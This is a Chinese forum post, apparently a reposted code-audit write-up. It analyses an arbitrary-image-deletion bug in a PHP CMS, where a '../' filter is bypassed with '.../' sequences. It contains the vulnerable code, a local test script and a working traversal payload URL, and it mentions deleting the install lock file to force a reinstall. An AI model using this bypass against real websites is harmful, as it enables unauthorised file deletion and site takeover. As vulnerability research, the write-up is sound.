代码审计之突破路径限制删除文件

来源;http://bbs.ichunqiu.com/thread-8979-1-1.html?from=ch

0x01 前言:

定期来论坛打个卡,免得那天被坏蛋哥干掉了都不知道,最近玩起代码审计了,挖到的都丢给补天了,重复率挺高的,打算每天坚持审一套系统,提交1个重复,我就挖10个,十个重复,我就挖100个,我就不信会全部重复。。。。。。。。。。。。。。

0x02 开头:

在删除某套系统的时候,发现可控参数进入了unlink函数,给我的第一感觉就是任意文件删除

[p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]public function delupload(){

$action=isset($_GET['action']) ? $_GET['action'] : null;

$filename=isset($_GET['filename']) ? $_GET['filename'] : null;

$filename=str_replace('../','',$filename);

$filename=trim($filename,'.');

$filename=trim($filename,'/');

if($action=='del' && !empty($filename)){

$filename=G_UPLOAD.$filename;

$size=getimagesize($filename);

$filetype=explode('/',$size['mime']);

if($filetype[0]!='image'){

return false;

exit;

}

unlink($filename);

exit;

}[/font][/color][/p][p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]

复制代码

0x03 分析:

调用了unlink函数来删除文件

unlink($filename);

而$filename

$filename=isset($_GET['filename']) ? $_GET['filename'] : null;

则是从GET进入的,可控

不过他这里进行了过滤,防止删除其他目录的文件

把../过滤掉了,防止跳转目录

清空了两边的 . 和 /

$filename=str_replace('../','',$filename);

$filename=trim($filename,'.');

$filename=trim($filename,'/');

0x04 突破:


$filename=$_GET['filename'];

$filename=str_replace('../','',$filename);

$filename=trim($filename,'.');

$filename=trim($filename,'/');

echo $filename;

?>

于是就本地实验起来了

直接输入../的话会被清除

代码审计之突破路径限制删除文件_第1张图片

开头和结尾清除了/和.

但是这个影响不大,在开头随便加个下一级目录就可以了,结尾肯定是你要删除的文件名,所以也可以无视

主要就是突破清空../

想了一下,竟然清空了../ 那我.../ 不就可以留下一个"."

实际测试成功

代码审计之突破路径限制删除文件_第2张图片

这样就可以实现目录跳转删除文件了

于是构造了这么一个url,删除网站根目录的一张照片

http://127.0.0.1/xxxcms/?api/xxxx/xxxxx/&action=del&filename=shaidan/.../...//.../...//.../...//xxxx.jpg

测试成功

0x05 结尾:

可惜的是只能删除网站任意图片

$size=getimagesize($filename);

$filetype=explode('/',$size['mime']);

if($filetype[0]!='image'){

return false;

exit;

}

被这个getimagesize函数限制住了,我测试了一下发现他是根据文件实际内容来判断是什么文件的,小菜鸟技术未入门,没想出怎么突破,本来还在想删除lock,直接重装系统的。。。

文章可能没什么技术含量在里面,毕竟小菜鸟我技术未入门,各位大牛见谅,如果文章中有错误,还望大家指出


你可能感兴趣的:(代码审计之突破路径限制删除文件)